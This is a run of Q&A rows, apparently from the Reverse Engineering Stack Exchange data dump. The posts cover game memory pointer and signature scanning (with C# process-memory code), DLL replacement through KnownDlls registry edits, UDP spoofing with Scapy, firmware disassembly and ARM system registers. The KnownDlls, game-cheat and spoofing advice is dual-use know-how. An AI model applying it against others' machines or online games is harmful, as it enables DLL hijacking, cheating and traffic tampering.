  <row Id="14598" PostTypeId="2" ParentId="14597" CreationDate="2017-02-07T22:34:53.703" Score="0" Body="&lt;p&gt;Game hacks are quite common and often distributed on the web. I-am-not-a-lawyer-but you should be fine as the game is no longer distributed and you are not getting around with copy protection.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2017-02-07T22:34:53.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14600" PostTypeId="2" ParentId="14597" CreationDate="2017-02-08T10:52:26.627" Score="0" Body="&lt;p&gt;&lt;em&gt;Disclaimer: IANAL; Best answer would be from a local lawyer with expertise in computer copyrights and laws at the location the owning company is at. If you'll be sued, it'll probably be in a court of their choosing as this is often part of the EULA.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one distinction I see here is that you don't modify the executable provided as part of the game, you only create a tool that does that. The actual person changing the game is the user of your tool. Abnother consideration though, is that most EULAs forbid reverse engineering, and you might be violating that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this is how I see you approaching this concern:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Approaching the rights owner&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A way to get an answer for this is by approaching the company (or whoever currently owns rights for the game) and request permission / announce you're about to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequences may vary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some right owners publicly waive some copyright protections of abandoned games, for the enjoyment and modification by the community. If that's the case, you'll be referred to the waiver.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're given permission, all is well and you're good to go.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're being ignored for a decent amount of time (say, a month) and later sued, you can argue the company had prior knowledge and choose not to forbid these actions in a timely manner.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you receive an unofficial reply declining granting you the permissions (or the more formal &lt;a href=&quot;https://en.wikipedia.org/wiki/Cease_and_desist&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cease and Desist&lt;/a&gt; letter), at least you know where you're at.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Hoping for the best&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you choose not to approach the rights owner, you can infer potential reactions from past experiences (mostly of other's). &lt;a href=&quot;https://en.wikipedia.org/wiki/Abandonware&quot; rel=&quot;nofollow noreferrer&quot;&gt;Abandonware&lt;/a&gt; is indeed something quite common, and you can find games that are as far as fully emulated in web browsers. Investigating what other potential violations the same rights owner had in the past, and how it reacted. Finding other violations of the same game will also be good indicators.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-02-08T11:00:18.840" LastActivityDate="2017-02-08T11:00:18.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14601" PostTypeId="2" ParentId="14594" CreationDate="2017-02-08T11:12:06.923" Score="1" Body="&lt;p&gt;As mentioned above, just placing the DLL in the same directory won't be enough for certain windows DLLs, as windows searches for those in specific paths as documented about &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic-Link Library Search Order&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's some potential trickery with the knownDlls list you can manipulate to succeed in your DLL replacing attempts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could remove specific DLLs from the list, allowing yourself (and others, thus exposing the machine to some potential risk) to load said DLL from the application's location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could replace the DLL name stored as the value of the key in the same registry path. Instead of a DLL name, simply place a full path and the DLL will be loaded from your specified location for all processes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although this might not be advised as there's a risk of a malicious entity exploiting those changes to hijack DLLs on your machine, it's definitely an easy way to test your endeavors without writing any API hooking code, as requested :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be &lt;a href=&quot;https://www.google.co.il/search?q=api%20hooking%20code%20examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;searching for some pre-made API hooking&lt;/a&gt; utilities (&lt;a href=&quot;https://www.codeproject.com/Articles/2082/API-hooking-revealed&quot; rel=&quot;nofollow noreferrer&quot;&gt;there&lt;/a&gt;, &lt;a href=&quot;https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours&quot; rel=&quot;nofollow noreferrer&quot;&gt;are&lt;/a&gt;, &lt;a href=&quot;https://github.com/EasyHook/EasyHook&quot; rel=&quot;nofollow noreferrer&quot;&gt;plenty&lt;/a&gt;) &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-02-08T11:21:18.260" LastActivityDate="2017-02-08T11:21:18.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14603" PostTypeId="2" ParentId="14596" CreationDate="2017-02-08T19:08:23.180" Score="5" Body="&lt;p&gt;&lt;strike&gt;It seems very likely that this chip is indeed MIPS, so any MIPS disassembler should work. Remember to try both little-endian and big-endian variants. For finding the entrypoint, see here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11096/&quot;&gt;Reverse Engineering MIPS Bootloader&lt;/a&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that it may be possible that the firmware is packed or encrypted (check binwalk's entropy analysis); in that case reading it directly from the flash chip may be necessary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: So, apparently the code is &lt;em&gt;not&lt;/em&gt; MIPS after all. Going by the objdump output, the instruction set seems to be a derivative of the Motorola/Freescale MCORE (previously Motorola RCE), even if they call it &amp;quot;csky&amp;quot;. You should be able to disassemble raw binary by specifying binary file format and architecture to objdump, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;objdump -D -b binary -m csky file.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In case you don't get good results, try adding &lt;code&gt;-EB&lt;/code&gt; or &lt;code&gt;-EL&lt;/code&gt; to force big-endian or little-endian disassembly. Note that sometimes you may get nonsense disassembly in case there is data intermixed with code (&lt;code&gt;-D&lt;/code&gt; forces disassembly of the whole file).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;:  C-sky support has been added to official binutils source tree. &lt;a href=&quot;https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commitdiff;h=b8891f8d622a31306062065813fc278d8a94fe21&quot; rel=&quot;nofollow noreferrer&quot;&gt;The commit&lt;/a&gt; message says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;V1 is derived from the MCore architecture while V2 is substantially&#xA;different, with mixed 16- and 32-bit instructions, a larger register&#xA;set, a different (but overlapping) ABI, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT3&lt;/strong&gt;: C-SKY and Motorola MCore architecture support &lt;a href=&quot;https://github.com/radareorg/radare2/pull/11448&quot; rel=&quot;nofollow noreferrer&quot;&gt;was added&lt;/a&gt; in Radare2 reverse engineering framework. You can use it with &lt;code&gt;-a mcore&lt;/code&gt; radare2 switch, also it should recognize the architecture in the ELF file directly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="38" LastEditDate="2020-07-10T15:17:13.297" LastActivityDate="2020-07-10T15:17:13.297" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14604" PostTypeId="1" AcceptedAnswerId="14619" CreationDate="2017-02-09T05:18:47.407" Score="1" ViewCount="1167" Body="&lt;p&gt;I have been doing pointer scans on a game when new versions come out as the structure changes to update memory structure offsets. I decided to attempt to use signature scanning to attempt to make my offsets more durable to changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When pointer scanning in the current game version 0x1034EF8 is the offset I am trying to get. I attached a debugger and funtions that read from this address and came up with a pattern that is unique. When I do the pattern scan this pattern is found and returned as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I am stuck at is turning this assembly instruction memory address 461EE300 into this offset 0x1034EF8. Cheat engine is able to do such a thing so it must be possible, the following was copy and pasted from cheat engine and it is showing me game_x64.exe + 1034EF8 for the 461EE300 address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about turning 461EE300 into game_x64.exe + 1034EF8 and extracting 1034EF8?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//90 - nop&#xA;//48 83 43 50 F8 - add qword ptr[rbx + 50],-08&#xA;//48 8B 0D 461EE300 - mov rcx,[game_x64.exe + 1034EF8]&#xA;//4C 8B 05 471EE300 - mov r8,[game_x64.exe + 1034F00]&#xA;//49 3B C8 - cmp rcx, r8&#xA;public static readonly Pattern MyPattern = new Pattern(new byte[]&#xA;{&#xA;0x90,&#xA;0x48, 0x83, 0x43, 0x50, 0xF8,&#xA;0x48, 0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00,&#xA;0x4C, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,&#xA;0x49, 0x3B, 0xC8&#xA;}, &quot;xxxxxxxxx????xxx????xxx&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19091" LastActivityDate="2019-03-25T19:14:08.257" Title="How to get pointer from byte code" Tags="|disassembly|assembly|pointer|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14606" PostTypeId="2" ParentId="14604" CreationDate="2017-02-09T14:11:55.120" Score="2" Body="&lt;p&gt;lets have a look how Cheat Engine calculates its offsets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;4C 8B 05 471EE300&lt;/code&gt; translates to &lt;code&gt;mov r8,QWORD PTR [rip+0xe31e47]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the value depends on rip (the instruction pointer). You can see the actual bytes of the offset in the instructions bytes. Since Cheat Engine knows where this instruction actually is in memory, they use the image base as the relative offset instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they might convert it in a way like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(instruction_address - image_base + offset) + image_base = instruction_address + offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;so is 461EE300 equal to the base of the executible + 0x1034F00?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-02-09T14:11:55.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14607" PostTypeId="1" AcceptedAnswerId="14647" CreationDate="2017-02-09T17:29:28.907" Score="3" ViewCount="2557" Body="&lt;p&gt;Is it possible to replace a non-code section inside an ELF file? If so, then how? Is there something I would have to consider before simply replacing the bytes by some other bytes (of course nothing larger)? Maybe some hash or similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm not interested in modifying code, so the solutions presented in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables&quot;&gt;What are the available libraries to statically modify ELF executables?&lt;/a&gt; is not what I'm looking for, also many solutions there aren't architecture-agnostic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW, I would require this for a replacing the initrd/initramfs file system embedded into a kernel image [&lt;code&gt;vmlinux.64&lt;/code&gt;] which is also an ELF file, see &lt;a href=&quot;https://unix.stackexchange.com/q/342298/117599&quot;&gt;https://unix.stackexchange.com/q/342298/117599&lt;/a&gt;. This question here is supposed to be more in general.)&lt;/p&gt;&#xA;" OwnerUserId="13953" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.450" LastActivityDate="2017-02-13T13:29:39.890" Title="Replace section inside ELF file" Tags="|file-format|elf|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14609" PostTypeId="1" AcceptedAnswerId="14610" CreationDate="2017-02-09T18:13:26.110" Score="6" ViewCount="5013" Body="&lt;p&gt;I have following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub rsp, 40                 ; 00000028H&#xA;lea rcx, OFFSET FLAT:$SG4237&#xA;call    printf&#xA;xor eax, eax&#xA;add rsp, 40                 ; 00000028H&#xA;ret 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why there is &lt;code&gt;xor eax, eax&lt;/code&gt; , instead of &lt;code&gt;xor rax, rax&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="18423" LastActivityDate="2017-02-09T18:53:35.297" Title="xor eax, eax in x64" Tags="|disassembly|assembly|x86-64|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14610" PostTypeId="2" ParentId="14609" CreationDate="2017-02-09T18:53:35.297" Score="12" Body="&lt;p&gt;In x64, any operation on a 32-bit register clears the top 32 bits of the corresponding 64-bit register too, so there's no need to use &lt;code&gt;xor rax, rax&lt;/code&gt; which would necessitate an extra REX byte for encoding.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-09T18:53:35.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14611" PostTypeId="1" AcceptedAnswerId="14622" CreationDate="2017-02-10T00:35:29.507" Score="2" ViewCount="458" Body="&lt;p&gt;I am interested in starting to decode and understand some proprietary network traffic, sent from apps on various devices, such as my TV, game consoles, phones etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the things I want to look at, seems to be using UDP to send proprietary protocol traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent some time in Wireshark analyzing traffic, and now the next stage is to attempt modifying messages and looking at results. This is where I have run into trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to use my Windows laptop as a MitM, bridging my 2 Ethernet connections (one to device and one to router). However, it seemed I was completely unable to spoof traffic from the device. Since UDP is very spoof able, I was not sure what is going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this, and is there a framework/toolkit in place to help facilitate this type of research?&lt;/p&gt;&#xA;" OwnerUserId="19104" LastActivityDate="2020-12-05T05:20:02.193" Title="Getting started with reversing device network traffic" Tags="|networking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14613" PostTypeId="1" AcceptedAnswerId="14615" CreationDate="2017-02-10T07:48:37.263" Score="1" ViewCount="1363" Body="&lt;p&gt;Is there a way to change hotkey for variable mapping ('=' by default)? For example: I'd like to bind it to 'Shift+Q'.&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2017-02-10T09:14:46.270" Title="Variable mapping in IDA hotkey change" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14614" PostTypeId="2" ParentId="14611" CreationDate="2017-02-10T07:52:47.687" Score="1" Body="&lt;p&gt;You can modify packets with scapy ,create custom python code using &lt;a href=&quot;http://www.secdev.org/projects/scapy/doc/usage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;scapy&lt;/a&gt; module to send custom packet.&lt;/p&gt;&#xA;" OwnerUserId="19093" LastActivityDate="2017-02-10T07:52:47.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14615" PostTypeId="2" ParentId="14613" CreationDate="2017-02-10T09:14:46.270" Score="4" Body="&lt;p&gt;please have a look at the second part of this &lt;a href=&quot;http://www.hexblog.com/?p=437&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either manipulate your &lt;code&gt;shortcuts.cfg&lt;/code&gt; or use the &lt;code&gt;Options-&amp;gt;Shortcuts&lt;/code&gt; GUI since version 6.2.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-02-10T09:14:46.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14617" PostTypeId="1" AcceptedAnswerId="14630" CreationDate="2017-02-10T14:04:06.343" Score="1" ViewCount="8474" Body="&lt;p&gt;While reversing a bootloader, i have a lot of msr/mrs instructions, but i cannot find in the arm documentation the meaning of the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in IDA i have things like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MSR             #4, c6, c0, #4, X0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MSR             #5, #0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone explain how to parse these instructions and point me to the right documentation ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is a script or plugin to automate the process ?&lt;/p&gt;&#xA;" OwnerUserId="19109" LastActivityDate="2017-02-11T23:33:39.417" Title="ARM: understanding MSR/MRS instructions" Tags="|assembly|arm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14618" PostTypeId="1" AcceptedAnswerId="14623" CreationDate="2017-02-10T16:23:30.770" Score="2" ViewCount="734" Body="&lt;p&gt;Don't be confused by a title of a question. Here is an explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take Intel Pin. They claim that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The best way to think about Pin is as a &quot;just in time&quot; (JIT) compiler.&#xA;  The input to this compiler is not bytecode, however, but a regular&#xA;  executable. Pin intercepts the execution of the first instruction of&#xA;  the executable and generates (&quot;compiles&quot;) new code for the straight&#xA;  line code sequence starting at this instruction. It then transfers&#xA;  control to the generated sequence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, software breakpoint (according to Reversing: Secrets of Reverse Engineering by Eldad Eilam) is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Software breakpoints are instructions added into the program’s code by&#xA;  the debugger at runtime. These instructions make the processor pause&#xA;  program execution and transfer control to the debugger when they are&#xA;  reached during execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically both Intel PIN and e.g. OllyDBG does roughly similar things: altering the execution flow by inserting custom instruction. I know, that with PIN you can do much more then just pause under a certain condition, but it is not the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is what is the key difference between JIT compilation (as in Intel PIN) and Software breakpoints (as in OllyDBG or any other debugger)?&lt;/p&gt;&#xA;" OwnerUserId="15278" LastEditorUserId="2147" LastEditDate="2017-02-10T19:55:04.600" LastActivityDate="2017-02-10T20:06:46.923" Title="What is the difference between binary instrumentation and software breakpoints?" Tags="|ollydbg|breakpoint|pintool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14619" PostTypeId="2" ParentId="14604" CreationDate="2017-02-10T17:22:31.287" Score="0" Body="&lt;p&gt;After some more digging and using a few new ideas from Nodwald, thank you here is the solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Match the pattern finding its location relative to the module start address&#xA;var matches = MemoryTool.FindPatterns(MemoryTool.GetProcessId(), MemoryTool.Pattern);&#xA;Process proc = Process.GetProcessesByName(&quot;ProcessName&quot;)[0];&#xA;IntPtr startOffset = proc.MainModule.BaseAddress;&#xA;var processStart = startOffset.ToInt64(); ;&#xA;//use the match plus the offset to the memory location to read the address I was trying to translate&#xA;var memoryValueOffset = matches[0] + 9;&#xA;//Read the value of the memory address&#xA;var memoryValue = _poeInterface.Memory.ReadInt(processStart + memoryValueOffset);&#xA;//Find the offset memory address of the next assembly function&#xA;var nextInstructionOffset = matches[0] + 13;&#xA;//find the full address value of that address in memory&#xA;var nextAddressFull = nextInstructionOffset + processStart;&#xA;//add the next address full value to the relative offset address value from earlier&#xA;var nextAddressPlusOffset = nextAddressFull + memoryValue;&#xA;//Win... this is our offset in memory&#xA;var fullMemoryOffset = nextAddressPlusOffset;&#xA;//This is the origional offset we were looking for - 0x1034EF8&#xA;var relativeOffset = fullMemoryOffset - processStart;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19091" LastActivityDate="2017-02-10T17:22:31.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14620" PostTypeId="2" ParentId="3778" CreationDate="2017-02-10T17:29:16.883" Score="1" Body="&lt;p&gt;Something that I have found very useful for finding inventory in a game is as following. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear your inventory. Search for all 0's in Cheat Engine. Put an item in inventory. Search for all &gt; 0. Clear that slot. Search for 0. Rinse and repeat. A lot of times you can find the pointer leading to the structure that represents an item this way. Make sure you are using the same item slot each time you add and remove, preferably the first slot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can go from there to try and find the name in that data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally a pointer scan once you have that pointer is usually needed as it is probably dynamic memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally if the game is updated often then a sig scan for a function that references that pointer is also useful as it will be more durable than the pointer scan.&lt;/p&gt;&#xA;" OwnerUserId="19091" LastActivityDate="2017-02-10T17:29:16.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14621" PostTypeId="2" ParentId="64" CreationDate="2017-02-10T18:21:45.187" Score="6" Body="&lt;p&gt;I recently tried &lt;a href=&quot;http://www.jsnice.org/&quot; rel=&quot;noreferrer&quot;&gt;http://www.jsnice.org/&lt;/a&gt; on 50+KB of a single minified JavaScript file containing lots of dynamic modification code that Cordova's runtime refused to execute (for an app targeted at Windows Phone 8.1 and Windows 10). The results were amazing as it recognises matching code fragments that are available unminified from thousands of opensource projects. I hope it helps you and others in future.&lt;/p&gt;&#xA;" OwnerUserId="15766" LastActivityDate="2017-02-10T18:21:45.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14622" PostTypeId="2" ParentId="14611" CreationDate="2017-02-10T19:32:26.200" Score="0" Body="&lt;p&gt;As shown &lt;a href=&quot;https://stackoverflow.com/questions/6112913/how-to-recalculate-ip-checksum-with-scapy&quot;&gt;here&lt;/a&gt; you can use Scapy to capture and/or spoof packets, while you are doing that make sure you compute checksums right. You can use Wireshark to check headers. Most convenient way is capturing incoming traffic and changing data &amp;amp; checksum value.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2020-12-05T05:20:02.193" LastActivityDate="2020-12-05T05:20:02.193" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="14623" PostTypeId="2" ParentId="14618" CreationDate="2017-02-10T19:49:07.980" Score="2" Body="&lt;p&gt;Intel Pintool &lt;strong&gt;is not&lt;/strong&gt; a JIT compiler. The explanation you quote just uses an analogy to JIT compilation, as there are logical similarities. IMHO this is not a well thought out analogy, and should be taken very lightly.&lt;/p&gt;&#xA;&lt;p&gt;I'll explain the three concepts in detail:&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Just-in-time_compilation&quot; rel=&quot;nofollow noreferrer&quot;&gt;JIT Compilation&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Indeed, the concept of JIT compilation is not really relevant to the question, but I'll go over it just the same:&lt;/p&gt;&#xA;&lt;p&gt;JIT compilation is mostly used as a performance improvement for interpreted languages, but some more advanced languages use it (examples are .Net and java).&lt;/p&gt;&#xA;&lt;p&gt;When a non-compiled code is executed, there's basically a loop processing each bytecode in a sequence (similar to how a Processor executes instructions one after the other). That loop basically implements byte code instructions to CPU instructions, modifying a state context (similar to CPU registers, only usually a lot bigger and higher-level).&lt;/p&gt;&#xA;&lt;p&gt;That process is slow compared to CPU instructions, and usually for no good reason - that was how interpreters were designed. Here comes JIT.&#xA;This is basically saying that instead of implementing a loop processing each bytecode instruction, it is possible for that loop to generate CPU instructions the first time it runs, and just execute those. To simplify things, JIT is a process of translating the language's bytecode to the CPU's instruction set just before executing the code, letting the CPU instructions run instead of the interpreter loop. Usually the compiled code is cached to it won't be compiled again.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Breakpoint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Software breakpoint&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;A software breakpoint is a specific instruction (in x86: &lt;code&gt;int 3&lt;/code&gt;, encoded both as &lt;code&gt;0xcc&lt;/code&gt; and &lt;code&gt;0xcd0x03&lt;/code&gt;) that tells the CPU the user (in CPU terms, this usually means a developer) would like to know whenever it is executed and suspend the execution for further inspection. When it is hit an interrupt handling mechanism it triggered and the execution of the process is suspended by a debugger handling that interrupt. debuggers then usually let the developer inspect the code, modify it, and then resume execution. A debugger sets a software breakpoint by replacing a single instruction (or part of it) with a the software breakpoint interrupt, and sets it back to the original instruction when it later resumes execution.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Instrumentation_(computer_programming)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Instrumentation&lt;/a&gt; (Pintool)&lt;/h2&gt;&#xA;&lt;p&gt;With Binary Instrumentation, a tool such as Pintool processes the code within a binary executable (similarly to how a JIT compiler processes a bytecode or script) and creates a &amp;quot;fixedup&amp;quot; or modified executable code, by inserting multiple types of additional code. This is usually done when breakpoints are not enough, or when you want to analyze a lot of an executable. Examples include modifying all &lt;code&gt;jump&lt;/code&gt; instructions (say, to log the source and target of all  jumps, for example).&lt;/p&gt;&#xA;&lt;p&gt;As you said software breakpoints are quite limited compared to the abilities a binary instrumentation engine provides, so I focused on the technical implementation rather than the advantages of the two.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-02-10T20:06:46.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14625" PostTypeId="1" CreationDate="2017-02-10T22:08:48.810" Score="1" ViewCount="405" Body="&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=749&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loading your own modules from your IDAPython scripts with idaapi.require()&lt;/a&gt; suggests using &lt;code&gt;idaapi.require()&lt;/code&gt; to load user modules in IDAPython scripts. However in my script, I have extensively used &lt;code&gt;from &amp;lt;mymodule&amp;gt; import *&lt;/code&gt; statement so that I don't need to prepend &lt;code&gt;mymodule&lt;/code&gt; before every item I use. Is there any IDAPython equivalent to that?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-02-10T22:08:48.810" Title="Is there a from...import * equivalent of idaapi.require()?" Tags="|ida|idapython|hexrays|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14630" PostTypeId="2" ParentId="14617" CreationDate="2017-02-11T23:33:39.417" Score="3" Body="&lt;p&gt;The presence of X0 and the use of MSR to access a system register tells me that you are on 64-bit ARM / ARMv8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference manual for this architecture can be found &lt;a href=&quot;https://developer.arm.com/docs/ddi0487/a/arm-architecture-reference-manual-armv8-for-armv8-a-architecture-profile&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section C6 describes the instructions.  You can find &lt;code&gt;MSR (register)&lt;/code&gt; at C6.2.131 and &lt;code&gt;MSR (immediate)&lt;/code&gt; at C6.2.130. These both access system control registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section D7 describes the generic ARMv8 system control registers. In D7.2.34 you can find the information that your &lt;code&gt;MSR&lt;/code&gt; instruction is accessing the &lt;code&gt;HPFAR_EL2&lt;/code&gt; register which contains the &quot;Hypervisor IPA Fault Address.&quot;  (see the table at the bottom of the section that shows the values of op0/op1/CRn/Cm/op2 that correspond to this register.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two instructions you show above are therefore -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MSR HPFAR_EL2, X0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MSR PSTATEField_SP, #0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2017-02-11T23:33:39.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
